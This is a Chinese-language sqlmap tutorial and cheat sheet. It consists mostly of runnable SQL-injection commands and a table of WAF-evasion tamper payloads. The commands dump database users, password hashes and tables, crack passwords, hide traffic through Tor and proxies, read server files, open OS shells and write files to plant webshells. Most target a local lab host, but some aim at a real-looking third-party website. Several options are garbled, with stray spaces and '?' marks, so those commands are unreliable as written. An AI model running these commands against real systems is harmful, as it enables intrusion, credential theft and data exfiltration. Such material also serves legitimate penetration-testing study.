sqlmap 注入方式、使用总结
目錄
Sqlmap
Sqlmap的簡單用法
探測指定URL是否存在WAF,并且繞過
探測指定URL是否存在SQL注入漏洞
查看數據庫的所有用戶
查看數據庫所有用戶名的密碼?
查看數據庫當前用戶?
判斷當前用戶是否有管理權限
列出數據庫管理員角色
查看所有的數據庫
查看當前的數據庫
爆出指定數據庫中的所有的表?
爆出指定數據庫指定表中的所有的列
爆出指定數據庫指定表指定列下的數據
爆出該網站數據庫中的所有數據
Sqlmap的高級用法
指定腳本進行過濾
探測等級和危險等級
偽造 Http Referer頭部
執行指定的SQL語句
執行操作系統命令
從數據庫中讀取文件
上傳文件到數據庫服務器中
Sqlmap的更多用法
Sqlmap
sqlmap是一個自動化的SQL注入工具,其主要功能是掃描,發現并利用給定的URL進行SQL注入。目前支持的數據庫有MySql、Oracle、Access、PostageSQL、SQL?Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等
Sqlmap采用了以下5種獨特的SQL注入技術
- 基于布爾類型的盲注,即可以根據返回頁面判斷條件真假的注入
- 基于時間的盲注,即不能根據頁面返回的內容判斷任何信息,要用條件語句查看時間延遲語句是否已經執行(即頁面返回時間是否增加)來判斷
- 基于報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回到頁面中
- 聯合查詢注入,在可以使用Union的情況下注入
- 堆查詢注入,可以同時執行多條語句時的注入
Sqlmap的強大的功能包括 數據庫指紋識別、數據庫枚舉、數據提取、訪問目標文件系統,并在獲取完全的操作權限時執行任意命令。
sqlmap是一個跨平臺的工具,很好用,是SQL注入方面一個強大的工具!
我們可以使用 -h 參數查看sqlmap的參數以及用法,sqlmap? -h
Sqlmap的簡單用法
sqlmap -u "https://www.panohire.com/index.php?g=portal&m=page&a=news&id=25" --dbms=mysql -p id ----current-db --batch
sqlmap -r http.txt #http.txt是我們抓取的http的請求包
sqlmap.py -u “https://www.panohire.com/index.php?g=portal&m=page&a=news&id=25*” --current-db --batch #查看當前數據庫名稱,--batch表示一切需要選擇的選項均使用默認選項
sqlmap -r http.txt -p username #指定參數,當有多個參數而你又知道username參數存在SQL漏洞,你就可以使用-p指定參數進行探測
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" #探測該url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie= "抓取的cookie" #當該網站需要登錄時,探測該url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --data= "uname=admin&passwd=admin&submit=Submit" #抓取其post提交的數據填入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看數據庫的所有用戶
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看數據庫用戶名的密碼
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user #查看數據庫當前的用戶
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba #判斷當前用戶是否有管理員權限
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles #列出數據庫所有管理員角色
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs #爆出所有的數據庫
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tables #爆出所有的數據表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --columns #爆出數據庫中所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看當前的數據庫
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出數據庫security中的所有的表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security數據庫中users表中的所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username -- dump #爆出數據庫security中的users表中的username列中的所有數據
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -- dump-all #爆出數據庫security中的users表中的所有數據
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -- dump-all #爆出數據庫security中的所有數據
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -- dump-all #爆出該數據庫中的所有數據
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tamper=space2comment.py #指定腳本進行過濾,用/**/代替空格
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level= 5 --risk= 3 #探測等級5,平臺危險等級3,都是最高級別
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell #執行指定的sql語句
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell #執行--os-shell命令
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file- read "c:/test.txt" #讀取目標服務器C盤下的test.txt文件
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file- write test.txt --file-dest "e:/hack.txt" #將本地的test.txt文件上傳到目標服務器的E盤下,并且名字為hack.txt
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms= "MySQL" #指定其數據庫為mysql Firebird, HSQLDB, IBM DB2, Informix, Microsoft Access, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, SAP MaxDB, SQLite, Sybase
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent #使用任意的User-Agent爆破
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy= "127.0.0.1:8080" #指定代理
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T #指定時間延遲注入
-v3 輸出詳細度 最大值 5 會顯示請求包和回復包
--threads 5 指定線程數
--fresh-queries 清除緩存
--flush-session 刷新session
--batch 對所有的交互式的都是默認的
--random-agent 任意的http頭
--tamper base64encode 對提交的數據進行base64編碼
--keep-alive 保持連接,當出現 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request( s) 保錯的時候,使用這個參數
--technique=BE 這個參數可以指定sqlmap使用的探測技術,默認情況下會測試所有的方式,當然,我們也可以直接手工指定。
? ? ?支持的探測方式如下:
- B: Boolean-based blind SQL injection(布爾型注入)
- E: Error-based SQL injection(報錯型注入)
- U: UNION query SQL injection(可聯合查詢注入)
- S: Stacked queries SQL injection(可多語句查詢注入)
- T: Time-based blind SQL injection(基于時間延遲注入)
探測指定URL是否存在WAF,并且繞過
--identify-waf 檢測是否有WAF(首選)
--check-waf 檢測是否有WAF(備選)
#使用參數進行繞過
--random-agent 使用任意HTTP頭進行繞過,尤其是在WAF配置不當的時候
--time-sec=3 使用長的延時來避免觸發WAF的機制,這方式比較耗時
--hpp 使用HTTP 參數污染進行繞過,尤其是在ASP.NET/IIS 平臺上
--proxy=100.100.100.100:8080 --proxy-cred=211:985 使用代理進行繞過
--ignore-proxy 禁止使用系統的代理,直接連接進行注入
--flush-session 清空會話,重構注入
--hex 或者 --no-cast 進行字符碼轉換
--mobile 對移動端的服務器進行注入
--tor 匿名注入
探測指定URL是否存在SQL注入漏洞
對于不用登錄的網站,直接指定其URL
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" #探測該url是否存在漏洞在探測目標URL是否存在漏洞的過程中,Sqlmap會和我們進行交互。
比如第一處交互的地方是說這個目標系統的數據庫好像是Mysql數據庫,是否還探測其他類型的數據庫。我們選擇 n,就不探測其他類型的數據庫了,因為我們已經知道目標系統是Mysql數據庫了。
第二處交互的地方是說 對于剩下的測試,問我們是否想要使用擴展提供的級別(1)和風險(1)值的“MySQL”的所有測試嗎??我們選擇 y。
第三處交互是說已經探測到參數id存在漏洞了,是否還探測其他地方,我們選擇 n 不探測其他參數了?。
最后sqlmap就列出了參數id存在的注入類型是boolean盲注,還有payload其他信息也顯示出來了,最后還列出了目標系統的版本,php,apache等信息。
這次探測的所有數據都被保存在了?/root/.sqlmap/output/192.168.10.1/?目錄下?
對于需要登錄的網站,我們需要指定其cookie? 。我們可以用賬號密碼登錄,然后用抓包工具抓取其cookie填入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #探測該url是否存在漏洞對于是post提交數據的URL,我們需要指定其data參數
sqlmap -u "http://192.168.10.1/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的數據填入我們也可以通過抓取 http 數據包保存為文件,然后指定該文件即可。這樣,我們就可以不用指定其他參數,這對于需要登錄的網站或者post提交數據的網站很方便。
我們抓取了一個post提交數據的數據包保存為post.txt,如下,uname參數和passwd參數存在SQL注入漏洞
POST /sqli/Less- 11/ HTTP/ 1.1
Host: 192.168. 10.1
User-Agent: Mozilla/ 5.0 (Windows NT 10.0; WOW64; rv: 55.0) Gecko/ 20100101 Firefox/ 55.0
Accept: text/html,application/xhtml+xml,application/xml; q= 0. 9,* /*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Referer: http: // 192.168. 10.1/sqli/Less- 11/
Connection: close
Upgrade-Insecure-Requests: 1
uname=admin&passwd=admin&submit=Submit
然后我們可以指定這個數據包進行探測
sqlmap -r post.txt #探測post.txt文件中的http數據包是否存在sql注入漏洞他也會和我們進行交互,詢問我們,這里就不一一解釋了?
可以看到,已經探測到?uname?參數存在漏洞了,問我們是否還想探測其他參數,我們選擇的?y ,它檢測到passwd也存在漏洞了,問我們是否還想探測其他參數,我們選擇 n
然后會讓我們選擇,在后續的測試中,是選擇 uname?這個參數還是passwd這個參數作為漏洞,隨便選擇一個就好了。
查看數據庫的所有用戶
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看數據庫的所有用戶查看數據庫所有用戶名的密碼?
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看數據庫用戶名的密碼第一處詢問我們是否保存密碼的hash值為文件,我們不保存。第二處問我們是否使用sqlmap自帶的字典進行爆破,我們選擇y,可以看出把密碼爆破出來了,root用戶的密碼也為root。如果這里爆破不出來,我們可以拿hash值去字典更強大的地方爆破
查看數據庫當前用戶?
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user #查看數據庫當前的用戶判斷當前用戶是否有管理權限
查看當前賬戶是否為數據庫管理員賬戶
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba #判斷當前用戶是否有管理員權限列出數據庫管理員角色
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles #列出數據庫所有管理員角色查看所有的數據庫
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs查看當前的數據庫
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看當前的數據庫爆出指定數據庫中的所有的表?
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出數據庫security中的所有的表爆出指定數據庫指定表中的所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns爆出指定數據庫指定表指定列下的數據
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump #爆出數據庫security中的users表中的username列中的所有數據爆出該網站數據庫中的所有數據
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -- dump-all #爆出數據庫security中的users表中的所有數據
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -- dump-all #爆出數據庫security中的所有數據
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -- dump-all #爆出該數據庫中的所有數據
Sqlmap的高級用法
指定腳本進行過濾
有些時候網站會過濾掉各種字符,可以用tamper來解決(對付某些waf時也有成效)
sqlmap --tamper=space2comment.py #用/**/代替空格
sqlmap --tamper= "space2comment.py,space2plus.py" 指定多個腳本進行過濾
過濾腳本在目錄:/usr/share/sqlmap/tamper
| 支持的數據庫 | 編號 | 腳本名稱 | 作用 | 實現方式 | 測試通過的數據庫類型和版本 |
| ALL | 1 | apostrophemask.py | 用utf8代替引號 | ("1?AND?'1'='1")? '1?AND?%EF%BC%871%EF%BC%87=%EF%BC%871'? | ? |
| 2 | base64encode.py? | 用base64編碼替換 | ("1'?AND?SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' ? | ? | |
| 3 | multiplespaces.py | 圍繞SQL關鍵字添加多個空格 | ('1?UNION?SELECT?foobar') '1????UNION?????SELECT???foobar' | ? | |
| 4 | space2plus.py | 用+替換空格 | ('SELECT?id?FROM?users') 'SELECT+id+FROM+users' | ? | |
| 5 | nonrecursivereplacement.py | 雙重查詢語句。取代predefined?SQL關鍵字with表示? suitable?for替代(例如??.replace(“SELECT”、”"))?filters | ('1?UNION?SELECT?2--') '1?UNIOUNIONN?SELESELECTCT?2--' | ? | |
| 6 | space2randomblank.py | 代替空格字符(“”)從一個隨機的空 白字符可選字符的有效集 | ('SELECT?id?FROM?users') 'SELECT%0Did%0DFROM%0Ausers' | ? | |
| 7 | unionalltounion.py | 替換UNION?ALL?SELECT?UNION?SELECT | ('-1?UNION?ALL?SELECT') '-1?UNION?SELECT' | ? | |
| 8 | securesphere.py | 追加特制的字符串 | ('1?AND?1=1') "1?AND?1=1?and?'0having'='0having'" | ? | |
| MSSQL | 1 | space2hash.py | 繞過過濾‘=’?替換空格字符(”),(’?–?‘)后跟一個破折號注釋,一個隨機字符串和一個新行(’?n’) | '1?AND?9227=9227'? '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'? | ? |
| 2 | equaltolike.py | like?代替等號 | *?Input:?SELECT?*?FROM?users?WHERE?id=1? 2?*?Output:?SELECT?*?FROM?users?WHERE?id?LIKE?1? | ? | |
| 3 | space2mssqlblank.py(mssql) | 空格替換為其它空符號 | Input:?SELECT?id?FROM?users Output:?SELECT%08id%02FROM%0Fusers | *?Microsoft?SQL?Server?2000 *?Microsoft?SQL?Server?2005 | |
| 4 | space2mssqlhash.py | 替換空格 | ('1?AND?9227=9227') '1%23%0AAND%23%0A9227=9227' | ? | |
| 5 | between.py | 用between替換大于號(>) | ('1?AND?A?>?B--') '1?AND?A?NOT?BETWEEN?0?AND?B--' | ? | |
| 6 | percentage.py | asp允許每個字符前面添加一個%號 | *?Input:?SELECT?FIELD?FROM?TABLE *?Output:?%S%E%L%E%C%T?%F%I%E%L%D?%F%R%O%M?%T%A%B%L%E ? | ? | |
| 7 | sp_password.py | 追加sp_password’從DBMS日志的自動模糊處理的有效載荷的末尾 | ('1?AND?9227=9227--?') '1?AND?9227=9227--?sp_password' | ? | |
| 8 | charencode.py | url編碼 | *?Input:?SELECT?FIELD?FROM%20TABLE *?Output:?%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | ? | |
| 9 | randomcase.py | 隨機大小寫 | *?Input:?INSERT *?Output:?InsERt | ? | |
| 10 | charunicodeencode.py | 字符串?unicode?編碼 | *?Input:?SELECT?FIELD%20FROM?TABLE *?Output:?%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | ? | |
| 11 | space2comment.py | Replaces?space?character?(‘?‘)?with?comments?‘/**/’ | *?Input:?SELECT?id?FROM?users *?Output:?SELECT//id//FROM/**/users | ? | |
| MYSQL | 1 | equaltolike.py | like?代替等號 | *?Input:?SELECT?*?FROM?users?WHERE?id=1? 2?*?Output:?SELECT?*?FROM?users?WHERE?id?LIKE?1? | ?Microsoft?SQL?Server?2005 MySQL?4,?5.0?and?5.5 |
| 2 | greatest.py | 繞過過濾’>’?,用GREATEST替換大于號。 | ('1?AND?A?>?B') '1?AND?GREATEST(A,B+1)=A' | *?MySQL?4,?5.0?and?5.5 *?Oracle?10g *?PostgreSQL?8.3,?8.4,?9.0 | |
| 3 | apostrophenullencode.py | 繞過過濾雙引號,替換字符和雙引號。 | tamper("1?AND?'1'='1") '1?AND?%00%271%00%27=%00%271' | *?MySQL?4,?5.0?and?5.5 *?Oracle?10g *?PostgreSQL?8.3,?8.4,?9.0 | |
| 4 | ifnull2ifisnull.py | 繞過對?IFNULL?過濾。 替換類似’IFNULL(A,?B)’為’IF(ISNULL(A),?B,?A)’ | ('IFNULL(1,?2)') 'IF(ISNULL(1),2,1)' | *?MySQL?5.0?and?5.5 | |
| 5 | space2mssqlhash.py | 替換空格 | ('1?AND?9227=9227') '1%23%0AAND%23%0A9227=9227' | ? | |
| 6 | modsecurityversioned.py | 過濾空格,包含完整的查詢版本注釋 | ('1?AND?2>1--') '1?/*!30874AND?2>1*/--' ? | *?MySQL?5.0 | |
| 7 | space2mysqlblank.py | 空格替換其它空白符號(mysql) | Input:?SELECT?id?FROM?users Output:?SELECT%0Bid%0BFROM%A0users | *?MySQL?5.1 | |
| 8 | between.py | 用between替換大于號(>) | ('1?AND?A?>?B--') '1?AND?A?NOT?BETWEEN?0?AND?B--' | *?Microsoft?SQL?Server?2005 *?MySQL?4,?5.0?and?5.5 *?Oracle?10g *?PostgreSQL?8.3,?8.4,?9.0 | |
| 9 | modsecurityzeroversioned.py | 包含了完整的查詢與零版本注釋 | ('1?AND?2>1--') '1?/*!00000AND?2>1*/--' ? | *?MySQL?5.0 | |
| 10 | space2mysqldash.py | 替換空格字符(”)(’?–?‘)后跟一個破折號注釋一個新行(’?n’) | ('1?AND?9227=9227') '1--%0AAND--%0A9227=9227' | ? | |
| 11 | bluecoat.py | 代替空格字符后與一個有效的隨機空白字符的SQL語句。 然后替換=為like | ('SELECT?id?FROM?users?where?id?=?1') 'SELECT%09id?FROM?users?where?id?LIKE?1' | *?MySQL?5.1,?SGOS | |
| 12 | percentage.py | asp允許每個字符前面添加一個%號 | *?Input:?SELECT?FIELD?FROM?TABLE *?Output:?%S%E%L%E%C%T?%F%I%E%L%D?%F%R%O%M?%T%A%B%L%E ? | *?Microsoft?SQL?Server?2000,?2005 *?MySQL?5.1.56,?5.5.11 *?PostgreSQL?9.0 | |
| 13 | charencode.py | url編碼 | *?Input:?SELECT?FIELD?FROM%20TABLE *?Output:?%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | *?Microsoft?SQL?Server?2005 *?MySQL?4,?5.0?and?5.5 *?Oracle?10g *?PostgreSQL?8.3,?8.4,?9.0 | |
| 14 | randomcase.py | 隨機大小寫 | *?Input:?INSERT *?Output:?InsERt | *?Microsoft?SQL?Server?2005 *?MySQL?4,?5.0?and?5.5 *?Oracle?10g *?PostgreSQL?8.3,?8.4,?9.0 | |
| 15 | versionedkeywords.py | Encloses?each?non-function?keyword?with?versioned?MySQL?comment | *?Input:?1?UNION?ALL?SELECT?NULL,?NULL,?CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()?AS?CHAR),CHAR(32)),CHAR(58,100,114,117,58))# *?Output:?1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,?CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))# | ? | |
| 16 | space2comment.py | Replaces?space?character?(‘?‘)?with?comments?‘/**/’ | *?Input:?SELECT?id?FROM?users *?Output:?SELECT//id//FROM/**/users | *?Microsoft?SQL?Server?2005 *?MySQL?4,?5.0?and?5.5 *?Oracle?10g *?PostgreSQL?8.3,?8.4,?9.0 | |
| 17 | charunicodeencode.py | 字符串?unicode?編碼 | *?Input:?SELECT?FIELD%20FROM?TABLE *?Output:?%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | *?Microsoft?SQL?Server?2000 *?Microsoft?SQL?Server?2005 *?MySQL?5.1.56 *?PostgreSQL?9.0.3 | |
| 18 | versionedmorekeywords.py | 注釋繞過 | *?Input:?1?UNION?ALL?SELECT?NULL,?NULL,?CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER()?AS?CHAR),CHAR(32)),CHAR(58,115,114,121,58))# *?Output:?1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))# | ? | |
| *?MySQL?<?5.1 | 19 | halfversionedmorekeywords.py | 關鍵字前加注釋 | *?Input:?value’?UNION?ALL?SELECT?CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER()?AS?CHAR),CHAR(32)),CHAR(58,97,110,121,58)),?NULL,?NULL#?AND?‘QDWa’='QDWa *?Output:?value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),?NULL,?NULL#/*!0AND?‘QDWa’='QDWa | *?MySQL?4.0.18,?5.0.22 |
| 20 | halfversionedmorekeywords.py | 當數據庫為mysql時繞過防火墻,每個關鍵字之前添加 mysql版本評論 | 1.("value'?UNION?ALL?SELECT?CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER()?AS?CHAR),CHAR(32)),CHAR(58,97,110,121,58)),?NULL,?NULL#?AND?'QDWa'='QDWa") 2."value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND?'QDWa'='QDWa" | *?MySQL?4.0.18,?5.0.22 | |
| MySQL?>=?5.1.13 | 21 | space2morehash.py | 空格替換為?#號?以及更多隨機字符串?換行符 | *?Input:?1?AND?9227=9227 *?Output:?1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 | MySQL?5.1.41 |
| ?Oracle | 1 | greatest.py | 繞過過濾’>’?,用GREATEST替換大于號。 | ('1?AND?A?>?B') '1?AND?GREATEST(A,B+1)=A' | *?MySQL?4,?5.0?and?5.5 *?Oracle?10g *?PostgreSQL?8.3,?8.4,?9.0 |
| 2 | apostrophenullencode.py | 繞過過濾雙引號,替換字符和雙引號。 | tamper("1?AND?'1'='1") '1?AND?%00%271%00%27=%00%271' | *?MySQL?4,?5.0?and?5.5 *?Oracle?10g *?PostgreSQL?8.3,?8.4,?9.0 | |
| 3 | between.py | 用between替換大于號(>) | ('1?AND?A?>?B--') '1?AND?A?NOT?BETWEEN?0?AND?B--' | *?Microsoft?SQL?Server?2005 *?MySQL?4,?5.0?and?5.5 *?Oracle?10g *?PostgreSQL?8.3,?8.4,?9.0 | |
| 4 | charencode.py | url編碼 | *?Input:?SELECT?FIELD?FROM%20TABLE *?Output:?%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | *?Microsoft?SQL?Server?2005 *?MySQL?4,?5.0?and?5.5 *?Oracle?10g *?PostgreSQL?8.3,?8.4,?9.0 | |
| 5 | randomcase.py | 隨機大小寫 | *?Input:?INSERT *?Output:?InsERt | *?Microsoft?SQL?Server?2005 *?MySQL?4,?5.0?and?5.5 *?Oracle?10g *?PostgreSQL?8.3,?8.4,?9.0 | |
| 6 | charunicodeencode.py | 字符串?unicode?編碼 | *?Input:?SELECT?FIELD%20FROM?TABLE *?Output:?%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | *?Microsoft?SQL?Server?2000 *?Microsoft?SQL?Server?2005 *?MySQL?5.1.56 *?PostgreSQL?9.0.3 | |
| 7 | space2comment.py | Replaces?space?character?(‘?‘)?with?comments?‘/**/’ | *?Input:?SELECT?id?FROM?users *?Output:?SELECT//id//FROM/**/users | *?Microsoft?SQL?Server?2005 *?MySQL?4,?5.0?and?5.5 *?Oracle?10g *?PostgreSQL?8.3,?8.4,?9.0 | |
| ?PostgreSQL | 1 | greatest.py | 繞過過濾’>’?,用GREATEST替換大于號。 | ('1?AND?A?>?B') '1?AND?GREATEST(A,B+1)=A' | *?MySQL?4,?5.0?and?5.5 *?Oracle?10g *?PostgreSQL?8.3,?8.4,?9.0 |
| 2 | apostrophenullencode.py | 繞過過濾雙引號,替換字符和雙引號。 | tamper("1?AND?'1'='1") '1?AND?%00%271%00%27=%00%271' | *?MySQL?4,?5.0?and?5.5 *?Oracle?10g *?PostgreSQL?8.3,?8.4,?9.0 | |
| 3 | between.py | 用between替換大于號(>) | ('1?AND?A?>?B--') '1?AND?A?NOT?BETWEEN?0?AND?B--' | *?Microsoft?SQL?Server?2005 *?MySQL?4,?5.0?and?5.5 *?Oracle?10g *?PostgreSQL?8.3,?8.4,?9.0 | |
| 4 | percentage.py | asp允許每個字符前面添加一個%號 | *?Input:?SELECT?FIELD?FROM?TABLE *?Output:?%S%E%L%E%C%T?%F%I%E%L%D?%F%R%O%M?%T%A%B%L%E ? | *?Microsoft?SQL?Server?2000,?2005 *?MySQL?5.1.56,?5.5.11 *?PostgreSQL?9.0 | |
| 5 | charencode.py | url編碼 | *?Input:?SELECT?FIELD?FROM%20TABLE *?Output:?%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | *?Microsoft?SQL?Server?2005 *?MySQL?4,?5.0?and?5.5 *?Oracle?10g *?PostgreSQL?8.3,?8.4,?9.0 | |
| 6 | randomcase.py | 隨機大小寫 | *?Input:?INSERT *?Output:?InsERt | *?Microsoft?SQL?Server?2005 *?MySQL?4,?5.0?and?5.5 *?Oracle?10g *?PostgreSQL?8.3,?8.4,?9.0 | |
| 7 | charunicodeencode.py | 字符串?unicode?編碼 | *?Input:?SELECT?FIELD%20FROM?TABLE *?Output:?%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | *?Microsoft?SQL?Server?2000 *?Microsoft?SQL?Server?2005 *?MySQL?5.1.56 *?PostgreSQL?9.0.3 | |
| 8 | space2comment.py | Replaces?space?character?(‘?‘)?with?comments?‘/**/’ | *?Input:?SELECT?id?FROM?users *?Output:?SELECT//id//FROM/**/users | *?Microsoft?SQL?Server?2005 *?MySQL?4,?5.0?and?5.5 *?Oracle?10g *?PostgreSQL?8.3,?8.4,?9.0 | |
| Microsoft?Access | 1 | appendnullbyte.py | 在有效負荷結束位置加載零字節字符編碼 | ('1?AND?1=1') '1?AND?1=1%00' ? | ? |
| 其他 | ? | chardoubleencode.py | 雙url編碼(不處理以編碼的) | *?Input:?SELECT?FIELD?FROM%20TABLE *?Output:?%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 | ? |
| ? | unmagicquotes.py | 寬字符繞過?GPC??addslashes | *?Input:?1′?AND?1=1 *?Output:?1%bf%27?AND?1=1–%20 | ? | |
| ? | randomcomments.py | 用/**/分割sql關鍵字 |
探測等級和危險等級
Sqlmap一共有5個探測等級,默認是1。等級越高,說明探測時使用的payload也越多。其中5級的payload最多,會自動破解出cookie、XFF等頭部注入。當然,等級越高,探測的時間也越慢。這個參數會影響測試的注入點,GET和POST的數據都會進行測試,HTTP?cookie在level為2時就會測試,HTTP? User-Agent/Referer頭在level為3時就會測試。在不確定哪個參數為注入點時,為了保證準確性,建議設置level為5
sqlmap一共有3個危險等級,也就是說你認為這個網站存在幾級的危險等級。和探測等級一個意思,在不確定的情況下,建議設置為3級,--risk=3
sqlmap使用的payload在目錄:/usr/share/sqlmap/xml/payloads
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探測等級5,平臺危險等級3,都是最高級別
偽造 Http Referer頭部
Sqlmap可以在請求中偽造HTTP中的referer,當探測等級為3或者3以上時,會嘗試對referer注入,可以使用referer命令來欺騙,比如,我們偽造referer頭為百度。可以這樣
referer http://www.baidu.com執行指定的SQL語句
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell #執行指定的sql語句然后會提示我們輸入要查詢的SQL語句,注意這里的SQL語句最后不要有分號?
執行操作系統命令
在數據庫為Mysql、PostgreSql或者SQL Server時,當滿足下面三個條件,我們就可以執行操作系統命令
- 網站必須是root權限
- 攻擊者需要知道網站的絕對路徑
- GPC為off,php主動轉義的功能關閉
如果我們不知道網站的根目錄的絕對路徑的話,我們那里選擇4?brute force search?暴力破解,嘗試破解出根目錄的絕對路徑!?
從數據庫中讀取文件
當數據庫為Mysql、PostgreSQL或SQL Server,并且當前用戶有權限時,可以讀取指定文件,可以是文本文件或者二進制文件。
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #讀取目標服務器C盤下的test.txt文件可以看到,文件讀取成功了,并且保存成了?/root/.sqlmap/output/192.168.10.1/files/c__test.txt?文件
上傳文件到數據庫服務器中
當數據庫為Mysql、Postgre SQL或者Sql Server,并且當前用戶有權限使用特定的函數時,可以上傳文件到數據庫服務器。文件可以是文本,也可以是二進制文件。
所以利用上傳文件,我們可以上傳一句話木馬或者上傳shell上去。
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write test.txt --file-dest "e:/hack.txt" #將本地的test.txt文件上傳到目標服務器的E盤下,并且名字為hack.txt這里會問我們是否想驗證上傳成功,我們選擇 y 的話,他就會讀取該文件的大小,并且和本地的文件大小做比較,只要大于等于本地文件大小即說明上傳功能了
Sqlmap的更多用法
